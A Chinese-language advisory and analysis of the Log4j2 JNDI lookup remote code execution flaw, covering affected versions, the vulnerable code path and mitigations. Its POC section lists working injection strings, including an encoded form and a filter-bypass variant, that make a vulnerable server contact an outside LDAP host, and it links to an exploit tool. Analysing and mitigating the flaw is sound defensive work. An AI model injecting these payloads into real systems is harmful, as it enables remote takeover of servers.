概述
Apache Log4j2是一个基于Java的日志记录工具。现在则是Apache软件基金会的一个项目。Log4j2是几种Java日志框架之一,该日志框架被大量用于业务系统开发,用来记录日志信息。2021年12月10日,官方发布log4j-2.15.0-rc2版本,在该版本中官方修复了一处远程代码执行漏洞。目前,该漏洞的检测方式已经在社区内流传,且已经出现了黑产的在野利用。
此次漏洞的成因为Log4j2在进行日志记录时存在缺陷,只要攻击者可以控制部分日志内容,即可插入自己精心构造的恶意数据,导致Log4j2对其进行解析时触发漏洞,执行恶意代码,攻击者从而可接管服务器。由于Log4j2 作为日志记录的基础第三方库被大量Java框架及应用使用,且只要用到 Log4j2 进行日志输出且日志内容由攻击者部分可控,即可能会受到漏洞攻击影响。
影响版本
Apache Log4j2:2.0 – 2.15.0.rc1
原理解析
此次漏洞触发点在于其lookup功能。lookup的主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供用户以约定的格式进行调用。在log4j2中,日志共有8个级别,程序会打印高于或等于所设置级别的日志,设置的日志等级越高,打印出来的日志就越少。所有级别的日志都可能触发lookup。
Log4j2会按字符检测每条日志,一旦发现某条日志中包含{,则触发替换机制,也就是将表达式内的内容替换成真实的内容,其中执行下一步替换操作。如下图,会循环提取{的内容,不符合格式的请求将直接返回。
继续往下走,进入StrSubstitutor#substitute
函数,此步骤主要完成字符串提取工作。
继续向下执行,第418行进入resolveVariable
函数。该函数主要执行变量解析。主要根据提交的协议提取不同的resolver
进行lookup
处理,在这里我们如果插入了jndi协议,log4j2就会按照相应的协议执行表达式。
继而进入JndiLookup#lookup
,从字符串中提取类似于url的结构去解析。如果这个url结构为ldap://x.x.x.x/class,程序就会去x.x.x.x地址请求恶意类class,从而触发代码执行。
最终调用栈如下:
POC
1.基础版本
${jndi:ldap://dnslog.cn/expoit}
2.base64版本
JTI0JTdCam5kaSUzQWxkYXAlM0EvL2Ruc2xvZy5jbi9leHBvaXQlN0Q=
3.变形绕过版本
${${env:foo:-jndi}:ldap://dnslog.cn/expolit}
EXP
原理与Fastjson一致,可参考链接:https://hub.fastgit.org/wyzxxz/fastjson_rce_tool
解决方法
1.增加JVM启动参数
-Dlog4j2.formatMsgNoLookups=true
2.设定properties文件
log4j2.formatMsgNoLookups=True
3.设定环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true
4.删除log4j包内的jndilookup.class
zip -q -d log4j-core-*.jar /org/apache/logging/log4j/core/lookup/Jndilookup.class